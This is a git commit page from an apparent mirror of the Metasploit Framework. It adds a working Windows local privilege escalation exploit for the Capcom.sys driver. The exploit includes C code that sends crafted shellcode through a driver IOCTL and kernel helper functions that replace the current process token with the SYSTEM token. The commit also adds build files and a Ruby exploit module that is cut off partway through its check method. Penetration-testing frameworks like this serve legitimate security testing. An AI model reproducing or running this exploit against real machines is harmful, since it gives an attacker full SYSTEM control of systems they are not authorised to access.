1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00

Add LPE exploit module for the capcom driver flaw

This commit includes:

* RDI binary that abuses the SMEP bypass and userland function pointer
  invocation that is provided by the driver.
* Related metasploit module.
* Associated make.build to build from command line.
* Updated command line build file.

This also includes the beginnings of a new set of functions that help
with the management/automation of kernel-related work on Windows for
local priv esc exploits.
This commit is contained in:
OJ 2016-09-27 22:37:45 +10:00
parent b87911bd0b
commit 0e82ced082
No known key found for this signature in database
GPG Key ID: D5DC61FB93260597
11 changed files with 1025 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,151 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.sln.docstates
# Build results
[Dd]ebug/
[Rr]elease/
x64/
build/
[Bb]in/
[Oo]bj/
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
!packages/*/build/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*_i.c
*_p.c
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.log
*.scc
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
*.ncrunch*
.*crunch*.local.xml
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.Publish.xml
*.pubxml
# NuGet Packages Directory
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
#packages/
# Windows Azure Build Output
csx
*.build.csdef
# Windows Store app package directory
AppPackages/
# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.[Pp]ublish.xml
*.pfx
*.publishsettings
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
App_Data/*.mdf
App_Data/*.ldf
# =========================
# Windows detritus
# =========================
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Mac crap
.DS_Store

View File

@ -0,0 +1,19 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.40629.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "capcom_sys_exec", "capcom_sys_exec\capcom_sys_exec.vcxproj", "{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.ActiveCfg = Release|x64
{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,110 @@
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "kernel.h"
DWORD WINAPI execute_payload(LPVOID lpPayload)
{
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return ERROR_SUCCESS;
}
DWORD WINAPI capcom_sys_exec(LPVOID lpPayload)
{
const DWORD PwnControlCode = 0xAA013044;
HANDLE driver = INVALID_HANDLE_VALUE;
PBYTE payload = NULL;
do
{
if (!is_driver_loaded(L"capcom.sys"))
{
break;
}
if (!prepare_for_kernel())
{
break;
}
// Get a handle to the capcom.sys driver.
driver = CreateFile(TEXT("\\\\.\\Htsysm72FB"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (driver == INVALID_HANDLE_VALUE)
{
break;
}
// get a payload read that should cause it to weep
BYTE payloadTemplate[] =
{
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Pointer to the CALL will be set here too
0xE8, 0x08, 0x00, 0x00, 0x00, // CALL $+8 (causes push of address of steal token)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Pointer to the token stealer will go here
0x58, // POP RAX - get the address containing the steal token func
0xFF, 0x20 // JMP [RAX] - call the steal token function
};
payload = VirtualAlloc(0, sizeof(payloadTemplate) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (payload == NULL)
{
break;
}
// copy the template into the target buffer
memcpy(payload, payloadTemplate, sizeof(payloadTemplate));
// update the template with the relevent info
*(PULONG_PTR)payload = (ULONG_PTR)(payload + 8); // point the first 8 bytes to the second 8 bytes
*(PULONG_PTR)(payload + 13) = (ULONG_PTR)steal_process_token; // insert the token stealer address
ULONG_PTR target = (ULONG_PTR)(payload + 8);
DWORD bytesReturned = 0;
DeviceIoControl(driver, PwnControlCode, &target, 8, payload, 4, &bytesReturned, NULL);
if (was_token_replaced() && lpPayload)
{
execute_payload(lpPayload);
}
} while (0);
if (payload != NULL)
{
VirtualFree(payload, 0, MEM_RELEASE);
}
if (driver != INVALID_HANDLE_VALUE)
{
CloseHandle(driver);
}
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
capcom_sys_exec(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

View File

@ -0,0 +1,107 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\..\win_kernel_common\kernel.c" />
<ClCompile Include="capcom_sys_exec.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\..\win_kernel_common\kernel.h" />
<ClInclude Include="..\..\..\win_kernel_common\windefs.h" />
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{a67ba207-7aac-4850-beb1-e7fa07bac0b1}</ProjectGuid>
<RootNamespace>capcom_sys_exec</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules />
<CodeAnalysisRuleAssemblies />
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>$(VC_IncludePath);$(WindowsSdk_71A_IncludePath);../../../win_kernel_common</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CAPCOM_SYS_EXEC_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>psapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\capcom_sys_exec.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\capcom_sys_exec.lib</ImportLibrary>
<Profile>false</Profile>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "..\..\..\..\..\data\exploits\capcom_sys_exec\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\capcom_sys_exec\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\capcom_sys_exec\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -0,0 +1,17 @@
<?xml version="1.0" standalone="yes"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<SolutionPath>.\capcom_sys_exec.sln</SolutionPath>
</PropertyGroup>
<Target Name="all" DependsOnTargets="x86" />
<Target Name="x86">
<Message Text="x86 is not supported for capcom_sys_exec" />
</Target>
<Target Name="x64">
<Message Text="Building capcom_sys_exec x64 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
</Target>
</Project>

View File

@ -92,6 +92,13 @@ IF "%ERRORLEVEL%"=="0" (
POPD
)
IF "%ERRORLEVEL%"=="0" (
ECHO "Building CAPCOM.SYS Driver exec"
PUSHD capcom_sys_exec
msbuild.exe make.msbuild /target:%PLAT%
POPD
)
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
echo Finished %ldt%

274
external/source/win_kernel_common/kernel.c vendored Executable file
View File

@ -0,0 +1,274 @@
#include <stdio.h>
#include "windefs.h"
#include "kernel.h"
#include <Psapi.h>
#define SYSTEM_PID 4
#define DRIVER_COUNT 1024
typedef NTSTATUS(NTAPI*PLOOKUPPROCESSBYID)(HANDLE processId, PVOID process);
typedef PACCESS_TOKEN(NTAPI*PREFPRIMARYTOKEN)(PVOID process);
typedef NTSTATUS(WINAPI*PNTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength);
typedef NTSTATUS(WINAPI*PNTQUERYINTERVALPROFILE)(DWORD profileSource, PULONG interval);
static ULONG_PTR g_pHalDispatch = 0L;
static PLOOKUPPROCESSBYID g_pLookupProcessById = NULL;
static PREFPRIMARYTOKEN g_pRefPrimaryToken = NULL;
static DWORD g_currentPid = 0;
static DWORD g_replaced = FALSE;
static NTSTATUS WINAPI NtQueryIntervalProfile(DWORD profileSource, PULONG interval)
{
static PNTQUERYINTERVALPROFILE pNtQueryIntervalProfile = NULL;
if (pNtQueryIntervalProfile == NULL)
{
pNtQueryIntervalProfile = (PNTQUERYINTERVALPROFILE)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQueryIntervalProfile");
}
return pNtQueryIntervalProfile(profileSource, interval);
}
static NTSTATUS WINAPI NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength)
{
static PNTQUERYSYSTEMINFORMATION pNtQuerySystemInformation = NULL;
if (pNtQuerySystemInformation == NULL)
{
pNtQuerySystemInformation = (PNTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQuerySystemInformation");
}
return pNtQuerySystemInformation(sysInfoClass, sysInfo, sysInfoLength, returnLength);
}
static PVOID get_system_info(SYSTEM_INFORMATION_CLASS infoClass)
{
ULONG size = 0x100;
const ULONG maxSize = size << 10;
PVOID buffer = NULL;
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
ULONG memIO = 0;
while (status == STATUS_INFO_LENGTH_MISMATCH && maxSize > size)
{
buffer = buffer == NULL ? HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size) : HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, buffer, size);
status = NtQuerySystemInformation(infoClass, buffer, size, &memIO);
size = size << 1;
}
if (NT_SUCCESS(status))
{
return buffer;
}
if (buffer != NULL)
{
HeapFree(GetProcessHeap(), 0, buffer);
}
return NULL;
}
static VOID find_and_replace_member(PDWORD_PTR pStruct, DWORD_PTR currentValue, DWORD_PTR newValue, DWORD_PTR maxSize)
{
DWORD_PTR mask = ~(sizeof(DWORD_PTR) == sizeof(DWORD) ? 7 : 0xf);
g_replaced = FALSE;
for (DWORD_PTR i = 0; i < maxSize; ++i)
{
if (((pStruct[i] ^ currentValue) & mask) == 0)
{
pStruct[i] = newValue;
g_replaced = TRUE;
return;
}
}
}
BOOL is_driver_loaded(wchar_t* driverName)
{
// start by finding out how big the buffer size needs to be:
LPVOID derp = 0;
DWORD sizeNeeded = 0;
BOOL result = FALSE;
// determine the size required first
EnumDeviceDrivers(&derp, sizeof(derp), &sizeNeeded);
LPVOID* driverList = (LPVOID*)malloc(sizeNeeded);
if (EnumDeviceDrivers(driverList, sizeNeeded, &sizeNeeded))
{
wchar_t driver[MAX_PATH];
DWORD driverCount = sizeNeeded / sizeof(LPVOID);
for (DWORD i = 0; i < driverCount; ++i)
{
if (GetDeviceDriverBaseNameW(driverList[i], driver, MAX_PATH)
&& _wcsicmp(driver, driverName) == 0)
{
result = TRUE;
break;
}
}
}
free(driverList);
return result;
}
// Simple wrapper over the steal_process_token that takes the four arguments used by the function we
// overwrite in the HAL dispatch
VOID hal_dispatch_steal_process_token(DWORD_PTR arg1, DWORD_PTR arg2, DWORD_PTR arg3, DWORD_PTR arg4)
{
steal_process_token();
}
VOID steal_process_token()
{
LPVOID currentProcessInfo = NULL;
LPVOID systemProcessInfo = NULL;
g_pLookupProcessById((HANDLE)g_currentPid, &currentProcessInfo);
g_pLookupProcessById((HANDLE)SYSTEM_PID, &systemProcessInfo);
PACCESS_TOKEN targetToken = g_pRefPrimaryToken(currentProcessInfo);
PACCESS_TOKEN systemToken = g_pRefPrimaryToken(systemProcessInfo);
find_and_replace_member((PDWORD_PTR)currentProcessInfo, (DWORD_PTR)targetToken, (DWORD_PTR)systemToken, 0x200);
}
BOOL prepare_for_kernel()
{
BOOL result = FALSE;
PRTL_PROCESS_MODULES procModules = NULL;
CHAR fullKernelPath[MAX_PATH * 2 + 1] = { 0 };
PVOID mappedKernel = NULL;
do
{
procModules = get_system_info(SystemModuleInformation);
if (procModules == NULL || procModules->NumberOfModules == 0)
{
break;
}
UINT length = GetSystemDirectoryA(fullKernelPath, MAX_PATH);
fullKernelPath[length] = '\\';
const char* firstModule = (const char*)&procModules->Modules[0].FullPathName[procModules->Modules[0].OffsetToFileName];
strcat_s(fullKernelPath, MAX_PATH, firstModule);
ULONG_PTR kernelBase = (ULONG_PTR)procModules->Modules[0].ImageBase;
mappedKernel = LoadLibraryExA(fullKernelPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (mappedKernel == NULL)
{
break;
}
ULONG_PTR funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsLookupProcessByProcessId");
if (funcAddr == 0L)
{
break;
}
g_pLookupProcessById = (PLOOKUPPROCESSBYID)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel);
funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsReferencePrimaryToken");
if (funcAddr == 0L)
{
break;
}
g_pRefPrimaryToken = (PREFPRIMARYTOKEN)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel);
funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "HalDispatchTable");
if (funcAddr != 0L)
{
g_pHalDispatch = kernelBase + funcAddr - (ULONG_PTR)mappedKernel;
}
g_currentPid = GetCurrentProcessId();
result = TRUE;
} while (0);
if (mappedKernel != NULL)
{
FreeLibrary(mappedKernel);
}
if (procModules != NULL)
{
HeapFree(GetProcessHeap(), 0, procModules);
}
return result;
}
BOOL was_token_replaced()
{
return g_replaced;
}
ULONG_PTR get_hal_dispatch_pointer()
{
return g_pHalDispatch + sizeof(ULONG_PTR);
}
VOID invoke_hal_dispatch_pointer()
{
ULONG ignored;
NtQueryIntervalProfile(1234, &ignored);
}
DWORD get_page_size()
{
static DWORD pageSize = 0;
if (pageSize == 0)
{
SYSTEM_INFO si;
GetSystemInfo(&si);
pageSize = si.dwPageSize;
}
return pageSize;
}
BOOL create_anon_mapping(MemMapping* memMap)
{
memMap->mapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, get_page_size(), NULL);
if (memMap->mapping == NULL)
{
return FALSE;
}
memMap->buffer = (LPBYTE)MapViewOfFile(memMap->mapping, FILE_MAP_ALL_ACCESS, 0, 0, get_page_size());
if (memMap->buffer == NULL)
{
destroy_anon_mapping(memMap);
return FALSE;
}
return TRUE;
}
VOID destroy_anon_mapping(MemMapping* memMap)
{
if (memMap != NULL)
{
if (memMap->buffer)
{
UnmapViewOfFile(memMap->buffer);
memMap->buffer = NULL;
}
if (memMap->mapping != NULL)
{
CloseHandle(memMap->mapping);
memMap->mapping = NULL;
}
}
}

23
external/source/win_kernel_common/kernel.h vendored Executable file
View File

@ -0,0 +1,23 @@
#ifndef _KERNEL_H
#define _KERNEL_H
#include "windefs.h"
typedef struct _MemMapping
{
HANDLE mapping;
LPBYTE buffer;
} MemMapping;
BOOL was_token_replaced();
BOOL prepare_for_kernel();
VOID steal_process_token();
VOID hal_dispatch_steal_process_token();
ULONG_PTR get_hal_dispatch_pointer();
DWORD get_page_size();
BOOL create_anon_mapping(MemMapping* memMap);
VOID destroy_anon_mapping(MemMapping* memMap);
VOID invoke_hal_dispatch_pointer();
BOOL is_driver_loaded(wchar_t* driverName);
#endif

199
external/source/win_kernel_common/windefs.h vendored Executable file
View File

@ -0,0 +1,199 @@
#ifndef _WINDEFS_H
#define _WINDEFS_H
// Hooray for windows API stuff being so shit including different files results in a mess
#pragma warning(disable: 4005) // Macro redefinition
#include <Windows.h>
#include <WinIoCtl.h>
#include <ntstatus.h>
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#ifndef SYSTEM_INFORMATION_CLASS
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation = 0,
SystemProcessorInformation = 1,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemPathInformation = 4,
SystemProcessInformation = 5,
SystemCallCountInformation = 6,
SystemDeviceInformation = 7,
SystemProcessorPerformanceInformation = 8,
SystemFlagsInformation = 9,
SystemCallTimeInformation = 10,
SystemModuleInformation = 11,
SystemLocksInformation = 12,
SystemStackTraceInformation = 13,
SystemPagedPoolInformation = 14,
SystemNonPagedPoolInformation = 15,
SystemHandleInformation = 16,
SystemObjectInformation = 17,
SystemPageFileInformation = 18,
SystemVdmInstemulInformation = 19,
SystemVdmBopInformation = 20,
SystemFileCacheInformation = 21,
SystemPoolTagInformation = 22,
SystemInterruptInformation = 23,
SystemDpcBehaviorInformation = 24,
SystemFullMemoryInformation = 25,
SystemLoadGdiDriverInformation = 26,
SystemUnloadGdiDriverInformation = 27,
SystemTimeAdjustmentInformation = 28,
SystemSummaryMemoryInformation = 29,
SystemMirrorMemoryInformation = 30,
SystemPerformanceTraceInformation = 31,
SystemObsolete0 = 32,
SystemExceptionInformation = 33,
SystemCrashDumpStateInformation = 34,
SystemKernelDebuggerInformation = 35,
SystemContextSwitchInformation = 36,
SystemRegistryQuotaInformation = 37,
SystemExtendServiceTableInformation = 38,
SystemPrioritySeperation = 39,
SystemVerifierAddDriverInformation = 40,
SystemVerifierRemoveDriverInformation = 41,
SystemProcessorIdleInformation = 42,
SystemLegacyDriverInformation = 43,
SystemCurrentTimeZoneInformation = 44,
SystemLookasideInformation = 45,
SystemTimeSlipNotification = 46,
SystemSessionCreate = 47,
SystemSessionDetach = 48,
SystemSessionInformation = 49,
SystemRangeStartInformation = 50,
SystemVerifierInformation = 51,
SystemVerifierThunkExtend = 52,
SystemSessionProcessInformation = 53,
SystemLoadGdiDriverInSystemSpace = 54,
SystemNumaProcessorMap = 55,
SystemPrefetcherInformation = 56,
SystemExtendedProcessInformation = 57,
SystemRecommendedSharedDataAlignment = 58,
SystemComPlusPackage = 59,
SystemNumaAvailableMemory = 60,
SystemProcessorPowerInformation = 61,
SystemEmulationBasicInformation = 62,
SystemEmulationProcessorInformation = 63,
SystemExtendedHandleInformation = 64,
SystemLostDelayedWriteInformation = 65,
SystemBigPoolInformation = 66,
SystemSessionPoolTagInformation = 67,
SystemSessionMappedViewInformation = 68,
SystemHotpatchInformation = 69,
SystemObjectSecurityMode = 70,
SystemWatchdogTimerHandler = 71,
SystemWatchdogTimerInformation = 72,
SystemLogicalProcessorInformation = 73,
SystemWow64SharedInformationObsolete = 74,
SystemRegisterFirmwareTableInformationHandler = 75,
SystemFirmwareTableInformation = 76,
SystemModuleInformationEx = 77,
SystemVerifierTriageInformation = 78,
SystemSuperfetchInformation = 79,
SystemMemoryListInformation = 80,
SystemFileCacheInformationEx = 81,
SystemThreadPriorityClientIdInformation = 82,
SystemProcessorIdleCycleTimeInformation = 83,
SystemVerifierCancellationInformation = 84,
SystemProcessorPowerInformationEx = 85,
SystemRefTraceInformation = 86,
SystemSpecialPoolInformation = 87,
SystemProcessIdInformation = 88,
SystemErrorPortInformation = 89,
SystemBootEnvironmentInformation = 90,
SystemHypervisorInformation = 91,
SystemVerifierInformationEx = 92,
SystemTimeZoneInformation = 93,
SystemImageFileExecutionOptionsInformation = 94,
SystemCoverageInformation = 95,
SystemPrefetchPatchInformation = 96,
SystemVerifierFaultsInformation = 97,
SystemSystemPartitionInformation = 98,
SystemSystemDiskInformation = 99,
SystemProcessorPerformanceDistribution = 100,
SystemNumaProximityNodeInformation = 101,
SystemDynamicTimeZoneInformation = 102,
SystemCodeIntegrityInformation = 103,
SystemProcessorMicrocodeUpdateInformation = 104,
SystemProcessorBrandString = 105,
SystemVirtualAddressInformation = 106,
SystemLogicalProcessorAndGroupInformation = 107,
SystemProcessorCycleTimeInformation = 108,
SystemStoreInformation = 109,
SystemRegistryAppendString = 110,
SystemAitSamplingValue = 111,
SystemVhdBootInformation = 112,
SystemCpuQuotaInformation = 113,
SystemNativeBasicInformation = 114,
SystemErrorPortTimeouts = 115,
SystemLowPriorityIoInformation = 116,
SystemBootEntropyInformation = 117,
SystemVerifierCountersInformation = 118,
SystemPagedPoolInformationEx = 119,
SystemSystemPtesInformationEx = 120,
SystemNodeDistanceInformation = 121,
SystemAcpiAuditInformation = 122,
SystemBasicPerformanceInformation = 123,
SystemQueryPerformanceCounterInformation = 124,
SystemSessionBigPoolInformation = 125,
SystemBootGraphicsInformation = 126,
SystemScrubPhysicalMemoryInformation = 127,
SystemBadPageInformation = 128,
SystemProcessorProfileControlArea = 129,
SystemCombinePhysicalMemoryInformation = 130,
SystemEntropyInterruptTimingInformation = 131,
SystemConsoleInformation = 132,
SystemPlatformBinaryInformation = 133,
SystemPolicyInformation = 134,
SystemHypervisorProcessorCountInformation = 135,
SystemDeviceDataInformation = 136,
SystemDeviceDataEnumerationInformation = 137,
SystemMemoryTopologyInformation = 138,
SystemMemoryChannelInformation = 139,
SystemBootLogoInformation = 140,
SystemProcessorPerformanceInformationEx = 141,
SystemSpare0 = 142,
SystemSecureBootPolicyInformation = 143,
SystemPageFileInformationEx = 144,
SystemSecureBootInformation = 145,
SystemEntropyInterruptTimingRawInformation = 146,
SystemPortableWorkspaceEfiLauncherInformation = 147,
SystemFullProcessInformation = 148,
SystemKernelDebuggerInformationEx = 149,
SystemBootMetadataInformation = 150,
SystemSoftRebootInformation = 151,
SystemElamCertificateInformation = 152,
SystemOfflineDumpConfigInformation = 153,
SystemProcessorFeaturesInformation = 154,
SystemRegistryReconciliationInformation = 155,
SystemEdidInformation = 156,
MaxSystemInfoClass = 157
} SYSTEM_INFORMATION_CLASS;
#endif
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
#endif

View File

@ -0,0 +1,118 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows Capcom.sys kernel execution exploit (x64 only)',
'Description' => %q{
This module abuses the Capcom.sys kernel driver's function that allows for an
arbitrary function to be executed in the kernel from user land. This function
purposely disables SMEP prior to invoking a function given by the caller.
This has been tested on Windows 7 x64.
},
'License' => MSF_LICENSE,
'Author' => [
'TheWack0lian', # Issue discovery
'OJ Reeves' # exploit and msf module
],
'Arch' => [ ARCH_X86_64],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
},
'Targets' => [
[ 'Windows x64 (<= 8)', { 'Arch' => ARCH_X86_64 } ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['URL', 'https://twitter.com/TheWack0lian/status/779397840762245124']
],
'DefaultTarget' => 0
}))
end
def check
if sysinfo['OS'] !~ /windows 7/i
return Exploit::CheckCode::Unknown
end
if sysinfo['Architecture'] =~ /(wow|x)64/i
arch = ARCH_X86_64
else
return Exploit::CheckCode::Safe
end
